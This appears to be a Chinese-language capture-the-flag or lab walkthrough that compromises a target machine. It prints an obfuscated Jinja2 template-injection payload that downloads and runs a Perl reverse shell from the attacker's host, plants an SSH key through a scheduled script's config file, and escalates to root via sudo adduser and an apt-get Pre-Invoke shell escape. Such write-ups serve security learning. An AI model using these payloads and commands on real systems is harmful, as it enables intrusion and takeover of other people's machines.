一:資訊收集
1:主機發現
2:埠掃描
nmap -sV -p- -T4 10.9.23.26
3:埠探測
1:訪問80埠,沒有找到有用的資訊
2:訪問5000埠,提到一個預設使用者guest
3:nc連線31337埠,需要輸入使用者名稱和密碼,嘗試剛剛的guest/guest,成功登入,這個是和5000埠相關聯的,在這裡建立,5000埠用於顯示
nc 10.9.23.26 31337
反覆測試發現存在ssti漏洞
SSTI (Server-Side Template Injection) 漏洞是一種常見的Web應用程式漏洞,允許攻擊者在伺服器端注入惡意程式碼到應用程式的模板中。這種漏洞通常發生在使用模板引擎的Web應用程式中,攻擊者可以利用這個漏洞執行任意程式碼,包括讀取敏感資料、控制伺服器等。
在twig模板會以乘積結果顯示,而jinja2中則是以乘方顯示
{{7*'7'}}
二:滲透測試
1:漏洞利用
https://github.com/swisskyrepo/PayloadsAllTheThings
找到jinja2的那個payload
以上結果說明ssti引擎是jinja2,網上搜集jinja2的反彈shell,搜尋ssti的payload,得到
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
把id改成wget,然後加上我們攻擊機的反彈shell檔案,使用perl,注意要改下檔案裡的ip和埠
路徑/usr/share/webshells/perl/perl-reverse-shell.pl,使用的時候需要修改檔案中的ip,並將檔案複製到根目錄下
最終我們要使用的payload就是下面這個
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.9.23.112/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}
然後把上面的內容放在31337埠新建的ticket裡面,kali用python開啟http服務,然後進入5000埠,點選link即可得到shell
開啟nc監聽
反彈成功
python提權
python -c "import pty;pty.spawn('/bin/bash')"
2:ssh
然後把pspy64上傳到靶機的tmp目錄裡,pspy64是檢測主機的程序工具,執行發現存在兩個py檔案,搜尋saint的檔案
發現存在兩個py檔案,搜尋saint的檔案
find / -user saint 2>/dev/null
根據這兩個python程式的原始碼,在/tmp下新建一個檔案,檔名字為25-03-2024.config.json,內容如下,本地伺服器的authorized_keys檔案的內容是使用ssh-keygen生成的id_rsa.pub檔案內容
{
"URL":"http://10.9.23.112/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}
用ssh-keygen工具生成id_rsa.pub和id_rsa檔案,keys檔案就是id_rsa.pub的內容,然後kali開啟http服務(這裡由於靶機建立檔案比較難,可以在kali新建json檔案,然後靶機去下載)
等待片刻,進入kali的/root/.ssh目錄下,直接連線saint使用者即可
ssh saint@10.9.23.26
3:提權
執行sudo -l,發現可以免密執行adduser命令,新增一個root組的使用者
檢視sudoers檔案,檢視還有哪些使用者可以使用sudo執行命令,發現一個jason使用者,但是這個使用者並不存在,但是我們是可以新建使用者的,所以需要密碼(自己的密碼)才能執行這個也就沒有問題
sudo adduser choudan -gid=0
exit退回到saint使用者,新建jason使用者
切換到jason使用者,使用apt-get命令提權
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
靶機結束